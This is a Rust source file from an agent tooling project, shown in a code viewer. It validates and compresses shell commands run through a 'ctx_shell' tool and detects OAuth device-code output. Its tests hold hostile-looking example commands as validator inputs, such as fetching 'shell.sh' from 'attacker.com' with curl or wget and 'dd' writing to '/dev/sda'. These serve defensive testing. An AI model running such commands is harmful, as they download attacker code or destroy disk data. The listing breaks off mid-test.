Skip to main content

lean_ctx/tools/
ctx_shell.rs

1use crate::tools::CrpMode;
2
3const MAX_COMMAND_BYTES: usize = 8192;
4
5/// Validates a shell command before execution. Returns Some(error_message) if
6/// the command should be rejected, None if it's safe to run.
7pub fn validate_command(command: &str) -> Option<String> {
8    let write_allow_paths = crate::core::config::default_shell_write_allow_paths();
9    let project_root = crate::core::config::Config::find_project_root();
10    validate_command_with_write_allow_paths(command, &write_allow_paths, project_root.as_deref())
11}
12
13pub(crate) fn validate_command_with_write_allow_paths(
14    command: &str,
15    write_allow_paths: &[String],
16    project_root: Option<&str>,
17) -> Option<String> {
18    if command.len() > MAX_COMMAND_BYTES {
19        return Some(format!(
20            "ERROR: Command too large ({} bytes, limit {}). \
21             If you're writing file content, use the native Write/Edit tool instead. \
22             ctx_shell is for reading command output only (git, cargo, npm, etc.).",
23            command.len(),
24            MAX_COMMAND_BYTES
25        ));
26    }
27
28    // #931: strip heredoc bodies before the redirect scanner — a `>` inside a
29    // heredoc body is opaque data, not a file-write redirect.
30    let cmd_no_heredoc = crate::core::shell_allowlist::strip_all_heredoc_bodies(command);
31    if has_file_write_redirect(&cmd_no_heredoc, write_allow_paths, project_root) {
32        return Some(
33            "ERROR: ctx_shell detected a file-write command (shell redirect > or >>). \
34             Use the native Write tool to create/modify files. \
35             ctx_shell is ONLY for reading command output (git status, cargo test, npm run, etc.). \
36             File writes via shell cause MCP protocol corruption on large payloads. \
37             Output capture to temp paths (/tmp, /var/tmp, $TMPDIR) is allowed."
38                .to_string(),
39        );
40    }
41
42    // #989: tee detection must run on heredoc-stripped text to avoid false
43    // positives when the word "tee" appears in heredoc/quoted payloads.
44    // `cmd | tee file` (piped) is output capture, not file authoring — the
45    // primary output still goes to stdout for the agent. Only bare `tee file`
46    // (not piped) is blocked as it is equivalent to `cat > file`.
47    if has_disallowed_tee_target(&cmd_no_heredoc, write_allow_paths, project_root) {
48        return Some(
49            "ERROR: ctx_shell detected a file-write command (tee without pipe). \
50             Use the native Write tool to create/modify files. \
51             ctx_shell is ONLY for reading command output. \
52             Piped tee (cmd | tee file) is allowed for output capture."
53                .to_string(),
54        );
55    }
56
57    if is_heredoc_file_write(command, write_allow_paths, project_root) {
58        return Some(
59            "ERROR: ctx_shell detected a heredoc writing to a file. \
60             Use the native Write tool to create/modify files. \
61             ctx_shell is ONLY for reading command output. \
62             Note: heredocs for input piping (e.g. psql <<EOF) are allowed."
63                .to_string(),
64        );
65    }
66
67    if let Some(reason) = download_to_file_reason(command) {
68        return Some(format!(
69            "ERROR: ctx_shell detected a file download/write ({reason}). \
70             ctx_shell is ONLY for reading command output — redirect-free flags bypass \
71             this doctrine, so they are blocked too (GH #391). \
72             Fetch to stdout instead (curl <url>, wget -qO- <url>) or use the editor's \
73             native tools to create files."
74        ));
75    }
76
77    None
78}
79
80/// Detects download/copy tools writing directly to files via their own flags
81/// Returns true when a path targets a scratch/temp location outside the
82/// project, where file downloads are safe (#1021).
83fn is_scratch_path(path: &str) -> bool {
84    let p = std::path::Path::new(path);
85    if p.starts_with("/tmp")
86        || p.starts_with("/var/tmp")
87        || p.starts_with("/private/tmp")
88        || p.starts_with("/dev/null")
89    {
90        return true;
91    }
92    if let Ok(tmpdir) = std::env::var("TMPDIR")
93        && !tmpdir.is_empty()
94        && p.starts_with(tmpdir.as_str())
95    {
96        return true;
97    }
98    false
99}
100
101/// (`curl -o`, `wget` default mode, `dd of=`) — the redirect-free equivalent of
102/// `> file`, reported as a `validate_command` bypass in GH #391.
103fn download_to_file_reason(command: &str) -> Option<String> {
104    for seg in crate::core::shell_allowlist::extract_all_commands_pub(command) {
105        let tokens = crate::core::shell_allowlist::shell_tokenize(seg.trim());
106        let Some(first) = tokens.first() else {
107            continue;
108        };
109        let base = first.rsplit('/').next().unwrap_or(first);
110        match base {
111            "curl" => {
112                let tokens_slice = &tokens[1..];
113                for (i, tok) in tokens_slice.iter().enumerate() {
114                    let target: Option<&str> = if tok == "--output" {
115                        tokens_slice.get(i + 1).map(String::as_str)
116                    } else if let Some(val) = tok.strip_prefix("--output=") {
117                        Some(val)
118                    } else if tok == "--output-dir" {
119                        tokens_slice.get(i + 1).map(String::as_str)
120                    } else if let Some(val) = tok.strip_prefix("--output-dir=") {
121                        Some(val)
122                    } else if tok.starts_with('-')
123                        && !tok.starts_with("--")
124                        && tok[1..].contains('o')
125                    {
126                        // -o <file>: next token is the path
127                        tokens_slice.get(i + 1).map(String::as_str)
128                    } else if tok == "--remote-name"
129                        || tok == "--remote-name-all"
130                        || (tok.starts_with('-')
131                            && !tok.starts_with("--")
132                            && tok[1..].contains('O'))
133                    {
134                        Some(".")
135                    } else {
136                        None
137                    };
138                    if let Some(path) = target {
139                        if is_scratch_path(path) {
140                            continue;
141                        }
142                        return Some(format!("curl {tok}"));
143                    }
144                }
145            }
146            "wget" => {
147                // wget writes a file BY DEFAULT; only stdout/no-download modes pass.
148                let to_stdout = tokens[1..].iter().enumerate().any(|(i, tok)| {
149                    tok == "--output-document=-"
150                        || tok == "-O-"
151                        || (tok.starts_with('-') && !tok.starts_with("--") && tok.ends_with("O-"))
152                        || ((tok == "-O" || tok == "--output-document")
153                            && tokens.get(i + 2).map(std::string::String::as_str) == Some("-"))
154                        || tok == "--spider"
155                });
156                if !to_stdout {
157                    return Some(
158                        "wget downloads to a file by default; use wget -qO- <url> for stdout"
159                            .to_string(),
160                    );
161                }
162            }
163            "dd" => {
164                for tok in &tokens[1..] {
165                    if tok.starts_with("of=") && !tok.starts_with("of=/dev/null") {
166                        return Some(format!("dd {tok}"));
167                    }
168                }
169            }
170            _ => {}
171        }
172    }
173    None
174}
175
176/// Returns true only for heredocs that redirect to files (the dangerous pattern).
177/// Legitimate heredoc uses (input piping, inline scripts) are allowed through.
178fn is_heredoc_file_write(
179    command: &str,
180    write_allow_paths: &[String],
181    project_root: Option<&str>,
182) -> bool {
183    let has_heredoc = command.contains("<<");
184    if !has_heredoc {
185        return false;
186    }
187    let cmd_lower = command.to_lowercase();
188    let heredoc_patterns = ["<<eof", "<<'eof'", "<<\"eof\"", "<<end", "<<'end'"];
189    let has_known_heredoc = heredoc_patterns.iter().any(|p| cmd_lower.contains(p));
190    if !has_known_heredoc {
191        return false;
192    }
193    // #931: strip heredoc bodies so `>` / `>>` inside the body are not
194    // mistaken for file-write redirects.
195    let stripped = crate::core::shell_allowlist::strip_all_heredoc_bodies(command);
196    has_file_write_redirect(&stripped, write_allow_paths, project_root)
197}
198
199/// Detects shell redirect operators (`>` or `>>`) that write to files.
200/// Ignores `>` inside quotes, after a backslash escape (`\"` must not toggle
201/// quote state, `\>` is a literal), `2>` (stderr), `/dev/null`, and
202/// comparison operators.
203/// #848: temp directory targets are read-back, not persistent writes.
204/// #848/#989: targets that are NOT persistent project-file writes.
205/// Redirecting to temp dirs, /dev/* devices, or paths containing shell
206/// variables (which we cannot resolve at parse time) is output capture,
207/// not file authoring.
208pub fn is_temp_redirect_target(target: &str) -> bool {
209    let write_allow_paths = crate::core::config::default_shell_write_allow_paths();
210    is_write_allowed_redirect_target(target, &write_allow_paths, None)
211}
212
213fn is_write_allowed_redirect_target(
214    target: &str,
215    write_allow_paths: &[String],
216    project_root: Option<&str>,
217) -> bool {
218    // `>|` is the noclobber-override form of `>`; the `|` is not part of the path.
219    let t = target.trim_start_matches(['>', '&', '|']);
220    // #1142: agents quote scratch paths (`> "$TMPDIR/x.log"`, `> "/private/tmp/x"`);
221    // strip quotes so quoted and unquoted targets are judged identically.
222    let t = t.trim_matches(['"', '\'']);
223    if t.starts_with('$') || t.starts_with("${") {
224        // Preserve #989's escape hatch for harness-provided scratch paths.
225        return true;
226    }
227
228    let path = std::path::Path::new(t);
229    if !path.is_absolute() {
230        return false;
231    }
232    let resolved = resolve_path_for_comparison(path);
233    if project_root.is_some_and(|root| {
234        resolved.starts_with(resolve_path_for_comparison(std::path::Path::new(root)))
235    }) {
236        return false;
237    }
238    write_allow_paths.iter().any(|allowed| {
239        resolved.starts_with(resolve_path_for_comparison(std::path::Path::new(allowed)))
240    })
241}
242
243fn resolve_path_for_comparison(path: &std::path::Path) -> std::path::PathBuf {
244    use std::path::{Component, PathBuf};
245
246    let mut normalized = PathBuf::new();
247    for component in path.components() {
248        match component {
249            Component::CurDir => {}
250            Component::ParentDir => {
251                normalized.pop();
252            }
253            other => normalized.push(other.as_os_str()),
254        }
255    }
256
257    let mut unresolved = Vec::new();
258    let mut existing = normalized.clone();
259    while !existing.exists() {
260        let Some(name) = existing.file_name() else {
261            break;
262        };
263        unresolved.push(name.to_os_string());
264        if !existing.pop() {
265            break;
266        }
267    }
268    let mut resolved = crate::core::pathutil::canonicalize_secure_or_self(&existing);
269    for component in unresolved.iter().rev() {
270        resolved.push(component);
271    }
272    resolved
273}
274
275fn tee_targets(command: &str) -> Vec<String> {
276    crate::core::shell_allowlist::extract_all_commands_pub(command)
277        .into_iter()
278        .filter_map(|segment| {
279            let tokens = crate::core::shell_allowlist::shell_tokenize(segment.trim());
280            let first = tokens.first()?;
281            if first.rsplit('/').next().unwrap_or(first) != "tee" {
282                return None;
283            }
284            let mut after_separator = false;
285            Some(
286                tokens
287                    .iter()
288                    .skip(1)
289                    .find(|token| {
290                        if *token == "--" {
291                            after_separator = true;
292                            return false;
293                        }
294                        after_separator || !token.starts_with('-')
295                    })
296                    .cloned()
297                    .unwrap_or_default(),
298            )
299        })
300        .collect()
301}
302
303fn has_disallowed_tee_target(
304    command: &str,
305    write_allow_paths: &[String],
306    project_root: Option<&str>,
307) -> bool {
308    tee_targets(command).into_iter().any(|target| {
309        !target.is_empty()
310            && !is_write_allowed_redirect_target(&target, write_allow_paths, project_root)
311    })
312}
313
314fn has_file_write_redirect(
315    command: &str,
316    write_allow_paths: &[String],
317    project_root: Option<&str>,
318) -> bool {
319    let bytes = command.as_bytes();
320    let len = bytes.len();
321    let mut i = 0;
322    let mut in_single_quote = false;
323    let mut in_double_quote = false;
324
325    while i < len {
326        let c = bytes[i];
327        if c == b'\\' && !in_single_quote {
328            // A backslash escapes the next byte (POSIX: outside quotes and
329            // inside double quotes; inside single quotes it is literal).
330            // Without this, an escaped quote like `\"` toggled the quote
331            // state and literal `>` in quoted prose (e.g. `(root: <root>)`
332            // in a gh --body string) read as a redirect (#903).
333            i += 2;
334            continue;
335        }
336        if c == b'\'' && !in_double_quote {
337            in_single_quote = !in_single_quote;
338        } else if c == b'"' && !in_single_quote {
339            in_double_quote = !in_double_quote;
340        } else if c == b'>' && !in_single_quote && !in_double_quote {
341            if i > 0 && bytes[i - 1] == b'2' {
342                i += 1;
343                continue;
344            }
345            let target_start = if i + 1 < len && bytes[i + 1] == b'>' {
346                i + 2
347            } else {
348                i + 1
349            };
350            let target: String = command[target_start..]
351                .trim_start()
352                .chars()
353                .take_while(|c| !c.is_whitespace())
354                .collect();
355            if target == "/dev/null" || target == "/dev/stdout" || target == "/dev/stderr" {
356                i += 1;
357                continue;
358            }
359            // #1142: `>&1` / `>&2` duplicate a file descriptor — no file involved.
360            // (`2>&1` is already skipped by the `2>` case above.)
361            if let Some(fd) = target.strip_prefix('&')
362                && !fd.is_empty()
363                && (fd == "-" || fd.chars().all(|c| c.is_ascii_digit()))
364            {
365                i += 1;
366                continue;
367            }
368            // #848: allow redirects to temp directories — agents capture
369            // build output for grepping, not writing persistent files.
370            if is_write_allowed_redirect_target(&target, write_allow_paths, project_root) {
371                i += 1;
372                continue;
373            }
374            if !target.is_empty() {
375                return true;
376            }
377        }
378        i += 1;
379    }
380    false
381}
382
383/// On Windows cmd.exe, `;` is not a valid command separator.
384/// Convert `cmd1; cmd2` to `cmd1 && cmd2` when running under cmd.exe.
385pub fn normalize_command_for_shell(command: &str) -> String {
386    if !cfg!(windows) {
387        return command.to_string();
388    }
389    let (_, flag) = crate::shell::shell_and_flag();
390    if flag != "/C" {
391        return command.to_string();
392    }
393    let bytes = command.as_bytes();
394    let mut result = Vec::with_capacity(bytes.len() + 16);
395    let mut in_single = false;
396    let mut in_double = false;
397    for (i, &b) in bytes.iter().enumerate() {
398        if b == b'\'' && !in_double {
399            in_single = !in_single;
400        } else if b == b'"' && !in_single {
401            in_double = !in_double;
402        } else if b == b';' && !in_single && !in_double {
403            result.extend_from_slice(b" && ");
404            continue;
405        }
406        result.push(b);
407        let _ = i;
408    }
409    String::from_utf8(result).unwrap_or_else(|_| command.to_string())
410}
411
412/// Compresses shell command output using the unified compression pipeline.
413/// Delegates to the same exit-code-aware logic used by the CLI, so a failed
414/// command (`exit_code != 0`) is preserved verbatim and successful output is
415/// compressed consistently (excluded_commands, structural routing, terse). #810.
416pub fn handle(command: &str, output: &str, exit_code: i32, _crp_mode: CrpMode) -> String {
417    crate::shell::compress::engine::compress_for_outcome(command, output, exit_code)
418}
419
420pub fn handle_with_context(
421    command: &str,
422    output: &str,
423    exit_code: i32,
424    crp_mode: CrpMode,
425    project_root: Option<&str>,
426) -> String {
427    let mut result = handle(command, output, exit_code, crp_mode);
428
429    {
430        if let Some(root) = project_root {
431            let estimated_tokens = result.len() / 4;
432            if estimated_tokens > 500 {
433                let kernel_budget = 100;
434                if let Some(enrichment) =
435                    crate::core::context_kernel::bridge::kernel_enrich(command, root, kernel_budget)
436                    && !enrichment.blocks.is_empty()
437                {
438                    result.push_str("\n--- kernel context ---\n");
439                    result.push_str(&enrichment.blocks);
440                }
441            }
442        }
443    }
444
445    result
446}
447
448#[cfg(test)]
449mod kernel_tests {
450    use super::handle_with_context;
451    use crate::tools::CrpMode;
452
453    #[test]
454    fn handle_with_context_does_not_panic_on_short_output() {
455        let result = handle_with_context("ls", "file.txt", 0, CrpMode::Tdd, Some("/tmp"));
456        assert!(!result.is_empty());
457    }
458}
459
460#[cfg(test)]
461fn is_search_command(command: &str) -> bool {
462    let cmd = command.trim_start();
463    cmd.starts_with("grep ")
464        || cmd.starts_with("rg ")
465        || cmd.starts_with("find ")
466        || cmd.starts_with("fd ")
467        || cmd.starts_with("ag ")
468        || cmd.starts_with("ack ")
469}
470
471#[cfg(test)]
472fn generic_compress(output: &str) -> String {
473    let output = crate::core::compressor::strip_ansi(output);
474    let lines: Vec<&str> = output
475        .lines()
476        .filter(|l| {
477            let t = l.trim();
478            !t.is_empty()
479        })
480        .collect();
481
482    if lines.len() <= 20 {
483        return lines.join("\n");
484    }
485
486    let show_count = (lines.len() / 3).min(30);
487    let half = show_count / 2;
488    let first = &lines[..half];
489    let last = &lines[lines.len() - half..];
490    let omitted = lines.len() - (half * 2);
491    format!(
492        "{}\n[truncated: showing {}/{} lines, {} omitted. Use raw=true for full output.]\n{}",
493        first.join("\n"),
494        half * 2,
495        lines.len(),
496        omitted,
497        last.join("\n")
498    )
499}
500
501/// Detects OAuth device code flow output that must not be compressed.
502/// Uses a two-tier approach: strong signals match alone (very specific to
503/// device code flows), weak signals require a URL/domain in the same output.
504pub fn contains_auth_flow(output: &str) -> bool {
505    let lower = output.to_lowercase();
506
507    const STRONG_SIGNALS: &[&str] = &[
508        "devicelogin",
509        "deviceauth",
510        "device_code",
511        "device code",
512        "device-code",
513        "verification_uri",
514        "user_code",
515        "one-time code",
516    ];
517
518    if STRONG_SIGNALS.iter().any(|s| lower.contains(s)) {
519        return true;
520    }
521
522    const WEAK_SIGNALS: &[&str] = &[
523        "enter the code",
524        "enter this code",
525        "enter code:",
526        "use the code",
527        "use a web browser to open",
528        "open the page",
529        "authenticate by visiting",
530        "sign in with the code",
531        "sign in using a code",
532        "verification code",
533        "authorize this device",
534        "waiting for authentication",
535        "waiting for login",
536        "waiting for you to authenticate",
537        "open your browser",
538        "open in your browser",
539    ];
540
541    let has_weak_signal = WEAK_SIGNALS.iter().any(|s| lower.contains(s));
542    if !has_weak_signal {
543        return false;
544    }
545
546    lower.contains("http://") || lower.contains("https://")
547}
548
549#[cfg(test)]
550mod tests {
551    use super::*;
552
553    #[test]
554    fn normalize_cmd_no_change_on_unix() {
555        if cfg!(windows) {
556            return;
557        }
558        assert_eq!(
559            normalize_command_for_shell("cd /tmp; ls -la"),
560            "cd /tmp; ls -la"
561        );
562    }
563
564    #[test]
565    fn validate_allows_safe_commands() {
566        assert!(validate_command("git status").is_none());
567        assert!(validate_command("cargo test").is_none());
568        assert!(validate_command("npm run build").is_none());
569        assert!(validate_command("ls -la").is_none());
570    }
571
572    #[test]
573    fn validate_blocks_file_writes() {
574        assert!(validate_command("echo 'data' > output.txt").is_some());
575        assert!(validate_command("tee output.txt").is_some());
576        assert!(validate_command("printf 'hello' > test.txt").is_some());
577    }
578
579    #[test]
580    #[cfg(unix)]
581    fn validate_allows_literal_temp_redirect_and_tee_targets() {
582        let paths = crate::core::config::default_shell_write_allow_paths();
583        assert!(
584            validate_command_with_write_allow_paths(
585                "go test ./... > /private/tmp/agent-test.log 2>&1",
586                &paths,
587                None
588            )
589            .is_none()
590        );
591        assert!(
592            validate_command_with_write_allow_paths(
593                "tee /private/tmp/agent-test.log",
594                &paths,
595                None
596            )
597            .is_none()
598        );
599        assert!(
600            validate_command_with_write_allow_paths(
601                "go test ./... | tee /private/tmp/agent-test.log",
602                &paths,
603                None
604            )
605            .is_none()
606        );
607    }
608
609    #[test]
610    fn validate_blocks_redirects_and_piped_tee_into_project_root() {
611        let root = std::env::current_dir().expect("test cwd");
612        let target = root.join("agent-test.log");
613        let target = target.to_string_lossy();
614        let paths = crate::core::config::default_shell_write_allow_paths();
615        assert!(
616            validate_command_with_write_allow_paths(
617                &format!("echo output > {target}"),
618                &paths,
619                Some(root.to_string_lossy().as_ref())
620            )
621            .is_some()
622        );
623        assert!(
624            validate_command_with_write_allow_paths(
625                &format!("go test | tee {target}"),
626                &paths,
627                Some(root.to_string_lossy().as_ref())
628            )
629            .is_some()
630        );
631    }
632
633    #[test]
634    #[cfg(unix)]
635    fn validate_allows_configured_external_write_path() {
636        let paths = vec!["/var/agent-scratch".to_string()];
637        assert!(
638            validate_command_with_write_allow_paths(
639                "go test ./... >> /var/agent-scratch/gotest.log",
640                &paths,
641                Some("/workspace/project")
642            )
643            .is_none()
644        );
645        assert!(
646            validate_command_with_write_allow_paths(
647                "go test ./... | tee /var/agent-scratch/gotest.log",
648                &paths,
649                Some("/workspace/project")
650            )
651            .is_none()
652        );
653        assert!(
654            validate_command_with_write_allow_paths(
655                "echo output > /var/other/gotest.log",
656                &paths,
657                Some("/workspace/project")
658            )
659            .is_some()
660        );
661    }
662
663    #[test]
664    fn validate_blocks_heredoc_with_file_redirect() {
665        assert!(validate_command("cat > file.py <<'EOF'\nprint('hi')\nEOF").is_some());
666        assert!(validate_command("cat <<EOF > output.txt\nhello\nEOF").is_some());
667        assert!(validate_command("cat <<'END' >> logfile.txt\ndata\nEND").is_some());
668    }
669
670    #[test]
671    fn validate_allows_heredoc_without_file_redirect() {
672        assert!(validate_command("cat <<EOF\nhello world\nEOF").is_none());
673        assert!(validate_command("psql -d mydb <<EOF\nSELECT 1;\nEOF").is_none());
674        assert!(
675            validate_command("git commit -m \"$(cat <<'EOF'\nfix: something\nEOF\n)\"").is_none()
676        );
677        assert!(validate_command("grep pattern <<EOF\nfoo\nbar\nEOF").is_none());
678    }
679
680    #[test]
681    fn validate_blocks_oversized_commands() {
682        let huge = "x".repeat(MAX_COMMAND_BYTES + 1);
683        let result = validate_command(&huge);
684        assert!(result.is_some());
685        assert!(result.unwrap().contains("too large"));
686    }
687
688    #[test]
689    fn validate_allows_cat_without_redirect() {
690        assert!(validate_command("cat file.txt").is_none());
691    }
692
693    // --- GH #903: literal `>` in quoted prose is not a redirect ---
694
695    #[test]
696    fn validate_allows_escaped_quotes_with_angle_brackets() {
697        // `\"` inside a double-quoted string must not toggle quote state;
698        // the `>` in `<root>` is quoted data, not a redirect.
699        assert!(
700            validate_command(
701                "gh issue comment 1 --body \"$(printf 'says \\\"root: <root>\\\" only')\""
702            )
703            .is_none()
704        );
705        assert!(validate_command("echo \"say \\\">hi<\\\" ok\"").is_none());
706        // escaped `>` outside quotes is a literal, not a redirect
707        assert!(validate_command("echo a \\> b").is_none());
708    }
709
710    #[test]
711    fn validate_still_blocks_redirect_after_escapes() {
712        // the escape handling must not hide a real redirect later on
713        assert!(validate_command("echo \"a \\\"b\\\"\" > out.txt").is_some());
714        assert!(validate_command("echo \\\\ > out.txt").is_some());
715    }
716
717    // --- GH #897: heredoc-to-stdin and /dev/null redirects are not file writes ---
718
719    #[test]
720    fn heredoc_stdin_without_redirect_is_allowed() {
721        assert!(validate_command("git commit -F - <<'EOF'\nfix: something\nEOF").is_none());
722        assert!(validate_command("kubectl apply -f - <<EOF\napiVersion: v1\nEOF").is_none());
723        assert!(validate_command("git apply <<'PATCH'\n--- a/f\n+++ b/f\nPATCH").is_none());
724    }
725
726    #[test]
727    fn dev_null_redirect_is_allowed() {
728        assert!(validate_command("cat > /dev/null").is_none());
729        assert!(validate_command("cmd > /dev/null 2>&1").is_none());
730        assert!(validate_command("cmd 2>/dev/null").is_none());
731    }
732
733    #[test]
734    fn dev_stdout_and_stderr_redirects_are_allowed() {
735        assert!(validate_command("cmd > /dev/stdout").is_none());
736        assert!(validate_command("cmd > /dev/stderr").is_none());
737    }
738
739    #[test]
740    fn issue_897_edge_cases_post_fix() {
741        assert!(
742            validate_command(
743                "cat <<'EOF' > output.txt
744some content
745EOF"
746            )
747            .is_some(),
748            "heredoc to file must block"
749        );
750        assert!(
751            validate_command(
752                "git commit --allow-empty -F - <<'COMMIT_MSG'
753feat: test
754COMMIT_MSG"
755            )
756            .is_none(),
757            "git commit -F - with heredoc must allow"
758        );
759        let cmd = r#"gh issue create --title "Fix" --body "path > root: /y""#;
760        assert!(
761            validate_command(cmd).is_none(),
762            "quoted > must allow: {cmd}"
763        );
764    }
765
766    // --- GH #391: download tools writing files without shell redirects ---
767
768    #[test]
769    fn validate_blocks_curl_output_flags() {
770        // #1021: curl -o to /tmp (scratch) is now allowed
771        assert!(validate_command("curl -o /tmp/shell.sh http://attacker.com/shell.sh").is_none());
772        assert!(validate_command("curl -fsSLo /tmp/x https://example.com").is_none());
773        // Writing into project directory is still blocked
774        assert!(validate_command("curl --output evil.bin https://example.com").is_some());
775        assert!(validate_command("curl --output=evil.bin https://example.com").is_some());
776        assert!(validate_command("curl -O https://example.com/payload").is_some());
777        assert!(validate_command("git fetch && curl -o x.sh https://e.com").is_some());
778    }
779
780    #[test]
781    fn validate_allows_curl_to_stdout() {
782        assert!(validate_command("curl https://api.example.com/health").is_none());
783        assert!(validate_command("curl -fsSL https://example.com | head -5").is_none());
784        assert!(validate_command("curl -s -X POST https://api.example.com -d '{}'").is_none());
785        // -H takes a value; no o/O short flag involved.
786        assert!(validate_command("curl -H \"Accept: application/json\" https://e.com").is_none());
787    }
788
789    #[test]
790    fn validate_blocks_wget_default_file_download() {
791        assert!(validate_command("wget http://attacker.com/shell.sh").is_some());
792        assert!(validate_command("wget -q https://example.com/file.tar.gz").is_some());
793        assert!(validate_command("wget -O /tmp/out https://example.com").is_some());
794    }
795
796    #[test]
797    fn validate_allows_wget_stdout_and_spider() {
798        assert!(validate_command("wget -qO- https://example.com").is_none());
799        assert!(validate_command("wget -O- https://example.com").is_none());
800        assert!(validate_command("wget -O - https://example.com").is_none());
801        assert!(validate_command("wget --output-document=- https://example.com").is_none());
802        assert!(validate_command("wget --spider https://example.com").is_none());
803    }
804
805    #[test]
806    fn validate_blocks_dd_output_file() {
807        assert!(validate_command("dd if=/dev/zero of=/tmp/fill bs=1M count=10").is_some());
808        assert!(validate_command("dd if=image.iso of=/dev/sda").is_some());
809    }
810
811    #[test]
812    fn validate_allows_dd_read_only() {
813        assert!(validate_command("dd if=/dev/urandom bs=16 count=1 status=none").is_none());
814        assert!(validate_command("dd if=file.bin of=/dev/null bs=1M").is_none());
815    }
816
817    // --- Auth flow detection: strong signals (no URL needed) ---
818
819    #[test]
820    fn auth_flow_detects_azure_device_code() {
821        let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.";
822        assert!(contains_auth_flow(output));
823    }
824
825    #[test]
826    fn auth_flow_detects_gh_auth_one_time_code() {
827        let output = "! First copy your one-time code: ABCD-1234\n- Press Enter to open github.com in your browser...";
828        assert!(contains_auth_flow(output));
829    }
830
831    #[test]
832    fn auth_flow_detects_device_code_json() {
833        let output = r#"{"device_code":"abc123","user_code":"ABCD-1234","verification_uri":"https://example.com/activate"}"#;
834        assert!(contains_auth_flow(output));
835    }
836
837    #[test]
838    fn auth_flow_detects_verification_uri_field() {
839        let output =
840            r#"{"verification_uri": "https://login.microsoftonline.com/common/oauth2/deviceauth"}"#;
841        assert!(contains_auth_flow(output));
842    }
843
844    #[test]
845    fn auth_flow_detects_user_code_field() {
846        let output = r#"{"user_code": "FGHJK-LMNOP", "expires_in": 900}"#;
847        assert!(contains_auth_flow(output));
848    }
849
850    // --- Auth flow detection: weak signals (require URL) ---
851
852    #[test]
853    fn auth_flow_detects_gcloud_with_url() {
854        let output = "Go to the following link in your browser:\n\n    https://accounts.google.com/o/oauth2/auth?response_type=code\n\nEnter verification code: ";
855        assert!(contains_auth_flow(output));
856    }
857
858    #[test]
859    fn auth_flow_detects_aws_sso_with_url() {
860        let output = "If the browser does not open, open the following URL:\nhttps://device.sso.us-east-1.amazonaws.com/\n\nThen enter the code:\nABCD-EFGH";
861        assert!(contains_auth_flow(output));
862    }
863
864    #[test]
865    fn auth_flow_detects_firebase_with_url() {
866        let output = "Visit this URL on this device to log in:\nhttps://accounts.google.com/o/oauth2/auth?...\n\nWaiting for authentication...";
867        assert!(contains_auth_flow(output));
868    }
869
870    #[test]
871    fn auth_flow_detects_generic_browser_open_with_url() {
872        let output =
873            "Open your browser to https://login.example.com/device and enter the code XYZW-1234";
874        assert!(contains_auth_flow(output));
875    }
876
877    // --- False positive protection ---
878
879    #[test]
880    fn auth_flow_ignores_normal_build_output() {
881        let output = "Compiling lean-ctx v2.21.9\nFinished release profile\n";
882        assert!(!contains_auth_flow(output));
883    }
884
885    #[test]
886    fn auth_flow_ignores_git_output() {
887        let output = "On branch main\nYour branch is up to date with 'origin/main'.\nnothing to commit, working tree clean";
888        assert!(!contains_auth_flow(output));
889    }
890
891    #[test]
892    fn auth_flow_ignores_npm_install_output() {
893        let output = "added 150 packages in 3s\n\n24 packages are looking for funding\n  run `npm fund` for details\nhttps://npmjs.com/package/lean-ctx";
894        assert!(!contains_auth_flow(output));
895    }
896
897    #[test]
898    fn auth_flow_ignores_docs_mentioning_auth() {
899        let output = "The authorization code grant type is the most common OAuth flow.\nSee https://oauth.net/2/grant-types/ for details.";
900        assert!(!contains_auth_flow(output));
901    }
902
903    #[test]
904    fn auth_flow_weak_signal_requires_url() {
905        let output = "Please enter the code ABC123 in the terminal";
906        assert!(!contains_auth_flow(output));
907    }
908
909    #[test]
910    fn auth_flow_weak_signal_without_url_is_ignored() {
911        let output = "Waiting for authentication to complete... done!";
912        assert!(!contains_auth_flow(output));
913    }
914
915    #[test]
916    fn auth_flow_ignores_virtualenv_activate() {
917        let output = "Created virtualenv at .venv\nRun: source .venv/bin/activate";
918        assert!(!contains_auth_flow(output));
919    }
920
921    #[test]
922    fn auth_flow_ignores_api_response_with_code_field() {
923        let output = r#"{"status": "ok", "code": 200, "message": "success"}"#;
924        assert!(!contains_auth_flow(output));
925    }
926
927    // --- Integration: handle() preserves auth flow ---
928
929    #[test]
930    fn handle_preserves_auth_flow_output_fully() {
931        let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.\nWaiting for you...\nLine 3\nLine 4\nLine 5\nLine 6\nLine 7\nLine 8\nLine 9\nLine 10\nLine 11\nLine 12\nLine 13";
932        // az login is Passthrough via OutputPolicy, so all content is preserved
933        let result = handle("az login --use-device-code", output, 0, CrpMode::Off);
934        assert!(result.contains("ABCD1234"), "auth code must be preserved");
935        assert!(result.contains("devicelogin"), "URL must be preserved");
936        assert!(
937            result.contains("Line 13"),
938            "all lines must be preserved (no truncation)"
939        );
940    }
941
942    #[test]
943    fn handle_compresses_normal_output_not_auth() {
944        let lines: Vec<String> = (1..=20).map(|i| format!("Line {i} of output")).collect();
945        let output = lines.join("\n");
946        let result = handle("some-tool check", &output, 0, CrpMode::Off);
947        assert!(
948            !result.contains("auth/device-code flow detected"),
949            "normal output must not trigger auth detection"
950        );
951        assert!(
952            result.len() < output.len() + 100,
953            "normal output should be compressed, not inflated"
954        );
955    }
956
957    #[test]
958    fn is_search_command_detects_grep() {
959        assert!(is_search_command("grep -r pattern src/"));
960        assert!(is_search_command("rg pattern src/"));
961        assert!(is_search_command("find . -name '*.rs'"));
962        assert!(is_search_command("fd pattern"));
963        assert!(is_search_command("ag pattern src/"));
964        assert!(is_search_command("ack pattern"));
965    }
966
967    #[test]
968    fn is_search_command_rejects_non_search() {
969        assert!(!is_search_command("cargo build"));
970        assert!(!is_search_command("git status"));
971        assert!(!is_search_command("npm install"));
972        assert!(!is_search_command("cat file.rs"));
973    }
974
975    #[test]
976    fn generic_compress_preserves_short_output() {
977        let lines: Vec<String> = (1..=20).map(|i| format!("Line {i}")).collect();
978        let output = lines.join("\n");
979        let result = generic_compress(&output);
980        assert_eq!(result, output);
981    }
982
983    #[test]
984    fn generic_compress_scales_with_length() {
985        let lines: Vec<String> = (1..=60).map(|i| format!("Line {i}")).collect();
986        let output = lines.join("\n");
987        let result = generic_compress(&output);
988        assert!(result.contains("truncated"));
989        let shown_count = result.lines().count();
990        assert!(
991            shown_count > 10,
992            "should show more than old 6-line limit, got {shown_count}"
993        );
994        assert!(shown_count < 60, "should be truncated, not full output");
995    }
996
997    #[test]
998    fn handle_preserves_search_results() {
999        let lines: Vec<String> = (1..=30)
